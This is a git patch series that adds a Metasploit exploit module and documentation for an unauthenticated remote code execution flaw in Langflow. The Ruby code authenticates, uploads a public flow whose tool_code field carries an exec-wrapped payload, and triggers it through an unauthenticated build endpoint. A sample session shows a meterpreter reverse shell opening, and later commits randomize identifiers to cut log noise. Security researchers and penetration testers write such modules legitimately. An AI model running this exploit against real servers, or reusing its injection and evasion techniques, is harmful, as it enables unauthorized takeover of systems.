From f08725095ab391e4cdc719d683d46e7517758de9 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 4 Sep 2026 11:19:40 -0400 Subject: [PATCH 1/4] Adding initial documentation and implementation --- .../langflow_unauth_rce_cve_2026_10134.md | 55 +++++ .../langflow_unauth_rce_cve_2026_10134.rb | 227 ++++++++++++++++++ 2 files changed, 282 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_10134.md create mode 100644 modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_10134.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_10134.md new file mode 100644 index 0000000000000..8e5ded9bdc625 --- /dev/null +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_10134.md @@ -0,0 +1,55 @@ +## Vulnerable Application + +Langflow versions 1.0.0 through 1.9.3 are susceptible to +unauthenticated remote code execution due to improper +handling of a public flow's `tool_code` field. + +The vulnerability affects: + + * Langflow 1.0.0 through 1.9.3 + + +This module was successfully tested on: + + * Langflow 1.8.4 installed with Docker + + +### Installation +1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform. +2. Install Ubuntu Linux (or other Linux distro) in your virtualization engine. +3. Pull pre-built Langflow docker container (v1.8.4) in your VM. + `docker pull langflowai/langflow:1.8.4` +4. Start the langflow container. + + +``` +sudo docker run -d \ + --name langflow \ + -p 192.168.1.30:7860:7860 \ + langflowai/langflow:1.8.4 +``` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_10134` +4. Do: `run rhosts= FLOW_ID=` +5. You should get a meterpreter + + +## Options + +### FLOW_ID +The UUID of a public Langflow flow. This value can be obtained from the Langflow web interface when viewing a flow. + +To make a flow public: +1. Navigate to the Langflow web UI at http://:7860 +2. Within the UI, either select an existing flow from the list, or click on New Flow +3. In the top right of the screen, click on Share. +4. Toggle the Shareable Playground radio button so its enabled. + +## Scenarios +``` + +``` diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb new file mode 100644 index 0000000000000..df0286db0e385 --- /dev/null +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb @@ -0,0 +1,227 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Langflow AI unauth RCE', + 'Description' => %q{ + Langflow versions 1.0.0 through 1.9.3 are susceptible to + unauthenticated remote code execution due to improper + handling of a public flow's `tool_code` field. + }, + 'Author' => [ + 'Richard Howe ' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-10134'], + ['URL', 'https://www.ibm.com/support/pages/security-bulletin-unauthenticated-server-side-rce-pythoncodestructuredtool-public-flows'] + ], + 'Targets' => [ + [ + 'Python payload', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + } + ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => '"' + }, + 'DisclosureDate' => '2026-07-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + Opt::RPORT(7860), + OptString.new( + 'TARGETURI', + [true, 'Base path of the Langflow application', '/'] + ), + OptString.new( + 'FLOW_ID', + [true, 'Unique ID for a Langflow flow.', ''] + ) + ] + ) + end + + def check + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/version') + } + ) + + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200 + + doc = res.get_json_document + version_str = doc.is_a?(Hash) ? doc['version'] : nil + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str + + package = doc.is_a?(Hash) ? doc['package'] : nil + return Exploit::CheckCode::Unknown('Failed to identify application.') unless package + return Exploit::CheckCode::Safe('Application is not Langflow.') unless package.to_s.downcase == 'langflow' + + version = Rex::Version.new(version_str.to_s) + return Exploit::CheckCode::Unknown('Failed to parse version.') unless version + + # Vulnerable version of Langflow + if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.9.3')) + return Exploit::CheckCode::Appears( + "Version #{version} detected, which appears vulnerable." + ) + end + + # Patched version of Langflow + Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") + end + + def create_flow + component_stub = "from lfx.custom import Component\n" \ + "class PythonCodeStructuredTool(Component):\n" \ + " def build_tool(self): pass\n" + + malicious_code = "@(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '', 'exec'))), f)[-1])\n" \ + "def run() -> str:\n" \ + " return _probe_output\n" + + template = { + '_type' => 'Component', + 'code' => { + 'value' => component_stub, + 'type' => 'code', + 'show' => true, + 'required' => true, + 'name' => 'code' + }, + 'tool_code' => { + 'value' => malicious_code, + 'type' => 'str', + 'show' => true, + 'required' => true, + 'name' => 'tool_code' + }, + 'tool_name' => { + 'value' => 'my_tool', + 'type' => 'str', + 'show' => true, + 'required' => true, + 'name' => 'tool_name' + }, + 'tool_description' => { + 'value' => 'A tool', + 'type' => 'str', + 'show' => true, + 'required' => true, + 'name' => 'tool_description' + }, + 'tool_function' => { + 'value' => 'run', + 'type' => 'str', + 'show' => true, + 'required' => true, + 'name' => 'tool_function', + 'options' => ['run'] + }, + 'return_direct' => { + 'value' => false, + 'type' => 'bool', + 'show' => true, + 'required' => false, + 'name' => 'return_direct' + }, + '_classes' => { + 'value' => '[]', + 'type' => 'str', + 'show' => true, + 'required' => false, + 'name' => '_classes' + }, + '_functions' => { + 'value' => '{}', + 'type' => 'str', + 'show' => true, + 'required' => false, + 'name' => '_functions' + } + } + + node = { + 'id' => 'PythonCodeStructuredTool-abc12', + 'type' => 'genericNode', + 'position' => { + 'x' => 100, + 'y' => 100 + }, + 'data' => { + 'id' => 'PythonCodeStructuredTool-abc12', + 'type' => 'PythonCodeStructuredTool', + 'node' => { + 'description' => 'structuredtool dataclass code to tool', + 'display_name' => 'Python Code Structured', + 'base_classes' => ['Tool'], + 'outputs' => [ + { + 'name' => 'result_tool', + 'method' => 'build_tool', + 'display_name' => 'Tool', + 'selected' => 'Tool', + 'types' => ['Tool'], + 'value' => '__UNDEFINED__' + } + ], + 'template' => template + } + } + } + + { + 'name' => 'Example Flow', + 'access_type' => 'PUBLIC', + 'data' => { + 'nodes' => [node], + 'edges' => [] + } + } + end + + def exploit + flow_id = datastore['FLOW_ID'] + flow = create_flow + + res = send_request_cgi( + { + 'method' => 'PATCH', + 'uri' => normalize_uri(target_uri.path, "api/v1/flows/#{flow_id}"), + 'headers' => { + 'Content-Type' => 'application/json' + }, + 'data' => flow.to_json + } + ) + + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200 + end +end From cd2a4b9e1a83065ae5fb26ad2b7527e99f633f25 Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 4 Sep 2026 14:18:57 -0400 Subject: [PATCH 2/4] Updating implementation and documentation --- .../langflow_unauth_rce_cve_2026_10134.md | 28 ++- .../langflow_unauth_rce_cve_2026_10134.rb | 201 ++++++++++++++++-- 2 files changed, 211 insertions(+), 18 deletions(-) diff --git a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_10134.md b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_10134.md index 8e5ded9bdc625..662896f8417c9 100644 --- a/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_10134.md +++ b/documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2026_10134.md @@ -1,8 +1,13 @@ ## Vulnerable Application -Langflow versions 1.0.0 through 1.9.3 are susceptible to -unauthenticated remote code execution due to improper -handling of a public flow's `tool_code` field. +Langflow versions 1.0.0 through 1.9.3 are susceptible to unauthenticated remote code execution +due to improper handling of a public flow's `tool_code` field and a lack of required authentication +for the `/api/v1/build_public_tmp//flow` endpoint. + +Note: +1. An unauthenticated attacker can only trigger builds using a known flow ID. +2. A low-privileged authenticated attacker can create malicious flows using credentials + and then execute them with or without authentication. The vulnerability affects: @@ -51,5 +56,20 @@ To make a flow public: ## Scenarios ``` - + msf > use multi/http/langflow_unauth_rce_cve_2026_10134 +[*] No payload configured, defaulting to python/meterpreter/reverse_tcp +msf exploit(multi/http/langflow_unauth_rce_cve_2026_10134) > set PASSWORD root +PASSWORD => root +msf exploit(multi/http/langflow_unauth_rce_cve_2026_10134) > set USERNAME root +USERNAME => root +msf exploit(multi/http/langflow_unauth_rce_cve_2026_10134) > set RHOSTS 192.168.1.30 +RHOSTS => 192.168.1.30 +msf exploit(multi/http/langflow_unauth_rce_cve_2026_10134) > exploit +[*] Started reverse TCP handler on 192.168.1.30:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.8.4 detected, which appears vulnerable. +[*] Sending stage (34540 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 172.17.0.2:35738) at 2026-09-04 14:17:06 -0400 + +meterpreter > ``` diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb index df0286db0e385..d92ebad587f2a 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb @@ -56,16 +56,40 @@ def initialize(info = {}) Opt::RPORT(7860), OptString.new( 'TARGETURI', - [true, 'Base path of the Langflow application', '/'] + [true, 'Base path of the Langflow application', ''] ), OptString.new( - 'FLOW_ID', - [true, 'Unique ID for a Langflow flow.', ''] + 'USERNAME', + [true, 'Langflow username', '/'] + ), + OptString.new( + 'PASSWORD', + [true, 'Langflow password', ''] ) ] ) end + def get_token(username, password) + data = { + 'username' => username, + 'password' => password + } + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/login'), + 'vars_post' => data + ) + + return unless res&.code&.between?(200, 299) + + json = res.get_json_document + return unless json.is_a?(Hash) + + json['access_token'] + end + def check res = send_request_cgi( { @@ -100,8 +124,122 @@ def check def create_flow component_stub = "from lfx.custom import Component\n" \ + "import json\n" \ + "from typing import Any\n" \ + "from langchain_core.tools import StructuredTool\n" \ + "from pydantic.v1 import Field, create_model\n" \ + "from pydantic.v1.fields import Undefined\n" \ + "from lfx.schema.data import Data\n" \ + "_fired = [False]\n" \ + "\n" \ "class PythonCodeStructuredTool(Component):\n" \ - " def build_tool(self): pass\n" + " DEFAULT_KEYS = [\n" \ + " \"code\", \"_type\", \"text_key\", \"tool_code\", \"tool_name\",\n" \ + " \"tool_description\", \"return_direct\", \"tool_function\",\n" \ + " \"global_variables\", \"_classes\", \"_functions\"\n" \ + " ]\n" \ + "\n" \ + " async def build_tool(self):\n" \ + " local_namespace = {}\n" \ + " modules = self._find_imports(self.tool_code)\n" \ + " import_code = \"\"\n" \ + " for module in modules[\"imports\"]:\n" \ + " import_code += f\"global {module}\\\\nimport {module}\\\\n\"\n" \ + " for from_module in modules[\"from_imports\"]:\n" \ + " for alias in from_module.names:\n" \ + " import_code += f\"global {alias.name}\\\\n\"\n" \ + " import_code += (\n" \ + " f\"from {from_module.module} import {', '.join([alias.name for alias in from_module.names])}\\\\n\"\n" \ + " )\n" \ + " exec(import_code, globals())\n" \ + " exec(self.tool_code, globals(), local_namespace)\n" \ + "\n" \ + " class PythonCodeToolFunc:\n" \ + " params: dict = {}\n" \ + "\n" \ + " def run(**kwargs):\n" \ + " for key, arg in kwargs.items():\n" \ + " if key not in PythonCodeToolFunc.params:\n" \ + " PythonCodeToolFunc.params[key] = arg\n" \ + " return local_namespace[self.tool_function](**PythonCodeToolFunc.params)\n" \ + "\n" \ + " globals_ = globals()\n" \ + " local = {}\n" \ + " local[self.tool_function] = PythonCodeToolFunc\n" \ + " globals_.update(local)\n" \ + "\n" \ + " if isinstance(self.global_variables, list):\n" \ + " for data in self.global_variables:\n" \ + " if isinstance(data, Data):\n" \ + " globals_.update(data.data)\n" \ + " elif isinstance(self.global_variables, dict):\n" \ + " globals_.update(self.global_variables)\n" \ + "\n" \ + " classes = json.loads(self._attributes[\"_classes\"])\n" \ + " for class_dict in classes:\n" \ + " exec(\"\\\\n\".join(class_dict[\"code\"]), globals_)\n" \ + "\n" \ + " named_functions = json.loads(self._attributes[\"_functions\"])\n" \ + " schema_fields = {}\n" \ + "\n" \ + " for attr in self._attributes:\n" \ + " if attr in self.DEFAULT_KEYS:\n" \ + " continue\n" \ + " func_name = attr.split(\"|\")[0]\n" \ + " field_name = attr.split(\"|\")[1]\n" \ + " func_arg = self._find_arg(named_functions, func_name, field_name)\n" \ + " if func_arg is None:\n" \ + " raise ValueError(f\"Failed to find arg: {field_name}\")\n" \ + " field_annotation = func_arg[\"annotation\"]\n" \ + " field_description = self._get_value(self._attributes[attr], str)\n" \ + " if field_annotation:\n" \ + " exec(f\"temp_annotation_type = {field_annotation}\", globals_)\n" \ + " schema_annotation = globals_[\"temp_annotation_type\"]\n" \ + " else:\n" \ + " schema_annotation = Any\n" \ + " schema_fields[field_name] = (\n" \ + " schema_annotation,\n" \ + " Field(\n" \ + " default=func_arg.get(\"default\", Undefined),\n" \ + " description=field_description,\n" \ + " ),\n" \ + " )\n" \ + "\n" \ + " if \"temp_annotation_type\" in globals():\n" \ + " globals_.pop(\"temp_annotation_type\")\n" \ + "\n" \ + " python_code_tool_schema = None\n" \ + " if schema_fields:\n" \ + " python_code_tool_schema = create_model(\"PythonCodeToolSchema\", **schema_fields)\n" \ + "\n" \ + " return StructuredTool.from_function(\n" \ + " func=local[self.tool_function].run,\n" \ + " args_schema=python_code_tool_schema,\n" \ + " name=self.tool_name,\n" \ + " description=self.tool_description,\n" \ + " return_direct=self.return_direct,\n" \ + " )\n" \ + "\n" \ + " def _find_imports(self, code):\n" \ + " import ast\n" \ + " imports = []\n" \ + " from_imports = []\n" \ + " parsed_code = ast.parse(code)\n" \ + " for node in parsed_code.body:\n" \ + " if isinstance(node, ast.Import):\n" \ + " imports.extend(alias.name for alias in node.names)\n" \ + " elif isinstance(node, ast.ImportFrom):\n" \ + " from_imports.append(node)\n" \ + " return {\"imports\": imports, \"from_imports\": from_imports}\n" \ + "\n" \ + " def _get_value(self, value, annotation):\n" \ + " return value if isinstance(value, annotation) else value[\"value\"]\n" \ + "\n" \ + " def _find_arg(self, named_functions, func_name, arg_name):\n" \ + " for arg in named_functions[func_name][\"args\"]:\n" \ + " if arg[\"name\"] == arg_name:\n" \ + " return arg\n" \ + " return None\n" malicious_code = "@(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '', 'exec'))), f)[-1])\n" \ "def run() -> str:\n" \ @@ -197,7 +335,7 @@ def create_flow } } - { + flow = { 'name' => 'Example Flow', 'access_type' => 'PUBLIC', 'data' => { @@ -205,23 +343,58 @@ def create_flow 'edges' => [] } } - end - - def exploit - flow_id = datastore['FLOW_ID'] - flow = create_flow res = send_request_cgi( { - 'method' => 'PATCH', - 'uri' => normalize_uri(target_uri.path, "api/v1/flows/#{flow_id}"), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'), 'headers' => { - 'Content-Type' => 'application/json' + 'Content-Type' => 'application/json', + 'Authorization' => "Bearer #{@token}" }, 'data' => flow.to_json } ) - fail_with(Failure::Unknown, 'Unexpected server reply.') unless res&.code == 200 + unless res&.code&.between?(200, 299) + fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.') + end + + json = res.get_json_document + return unless json.is_a?(Hash) + + json['id'] + end + + def exploit + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + + @token = get_token(username, password) + if @token.to_s.empty? + fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.') + end + + @flow_id = create_flow + if @flow_id.to_s.empty? + fail_with(Failure::UnexpectedReply, 'Langflow did not return a flow ID.') + end + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri( + target_uri.path, + "api/v1/build_public_tmp/#{@flow_id}/flow" + ), + 'headers' => { + 'Content-Type' => 'application/json', + 'Cookie' => 'client_id=randomcookie' + }, + 'data' => {}.to_json + ) + + unless res&.code&.between?(200, 299) + fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.') + end end end From b09f3b353fcc23b69e5bcb8d8db8da494289ba5e Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 4 Sep 2026 15:30:30 -0400 Subject: [PATCH 3/4] Fixing payload to minimzize noise in langflow log, randomize values --- .../langflow_unauth_rce_cve_2026_10134.rb | 34 +++++++++++++------ 1 file changed, 23 insertions(+), 11 deletions(-) diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb index d92ebad587f2a..c543cb807d31d 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb @@ -60,7 +60,7 @@ def initialize(info = {}) ), OptString.new( 'USERNAME', - [true, 'Langflow username', '/'] + [true, 'Langflow username', ''] ), OptString.new( 'PASSWORD', @@ -111,18 +111,21 @@ def check version = Rex::Version.new(version_str.to_s) return Exploit::CheckCode::Unknown('Failed to parse version.') unless version - # Vulnerable version of Langflow - if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.9.3')) + if (version >= Rex::Version.new('1.0.0')) && + (version <= Rex::Version.new('1.9.3')) return Exploit::CheckCode::Appears( "Version #{version} detected, which appears vulnerable." ) end - # Patched version of Langflow Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") end def create_flow + node_id = Rex::Text.rand_text_alpha(20) + node_description = Rex::Text.rand_text_alpha(20) + node_displayname = Rex::Text.rand_text_alpha(8) + component_stub = "from lfx.custom import Component\n" \ "import json\n" \ "from typing import Any\n" \ @@ -262,14 +265,14 @@ def create_flow 'name' => 'tool_code' }, 'tool_name' => { - 'value' => 'my_tool', + 'value' => Rex::Text.rand_text_alpha(8), 'type' => 'str', 'show' => true, 'required' => true, 'name' => 'tool_name' }, 'tool_description' => { - 'value' => 'A tool', + 'value' => Rex::Text.rand_text_alpha(20), 'type' => 'str', 'show' => true, 'required' => true, @@ -290,6 +293,13 @@ def create_flow 'required' => false, 'name' => 'return_direct' }, + 'global_variables' => { + 'value' => {}, + 'type' => 'dict', + 'show' => true, + 'required' => false, + 'name' => 'global_variables' + }, '_classes' => { 'value' => '[]', 'type' => 'str', @@ -307,18 +317,18 @@ def create_flow } node = { - 'id' => 'PythonCodeStructuredTool-abc12', + 'id' => node_id, 'type' => 'genericNode', 'position' => { 'x' => 100, 'y' => 100 }, 'data' => { - 'id' => 'PythonCodeStructuredTool-abc12', + 'id' => node_id, 'type' => 'PythonCodeStructuredTool', 'node' => { - 'description' => 'structuredtool dataclass code to tool', - 'display_name' => 'Python Code Structured', + 'description' => node_description, + 'display_name' => node_displayname, 'base_classes' => ['Tool'], 'outputs' => [ { @@ -335,8 +345,10 @@ def create_flow } } + flow_name = Rex::Text.rand_text_alpha(8) + flow = { - 'name' => 'Example Flow', + 'name' => flow_name, 'access_type' => 'PUBLIC', 'data' => { 'nodes' => [node], From ddcae357fdc763b9e36bd45a3be7c6e64ee11f9d Mon Sep 17 00:00:00 2001 From: Richard Howe Date: Fri, 4 Sep 2026 15:39:05 -0400 Subject: [PATCH 4/4] randomizing additional values, code cleanup --- .../multi/http/langflow_unauth_rce_cve_2026_10134.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb index c543cb807d31d..c0850e251d7fb 100644 --- a/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb +++ b/modules/exploits/multi/http/langflow_unauth_rce_cve_2026_10134.rb @@ -345,10 +345,8 @@ def create_flow } } - flow_name = Rex::Text.rand_text_alpha(8) - flow = { - 'name' => flow_name, + 'name' => Rex::Text.rand_text_alpha(8), 'access_type' => 'PUBLIC', 'data' => { 'nodes' => [node], @@ -381,6 +379,7 @@ def create_flow def exploit username = datastore['USERNAME'] password = datastore['PASSWORD'] + cookie = Rex::Text.rand_text_alpha(8) @token = get_token(username, password) if @token.to_s.empty? @@ -400,7 +399,7 @@ def exploit ), 'headers' => { 'Content-Type' => 'application/json', - 'Cookie' => 'client_id=randomcookie' + 'Cookie' => "client_id=#{cookie}" }, 'data' => {}.to_json )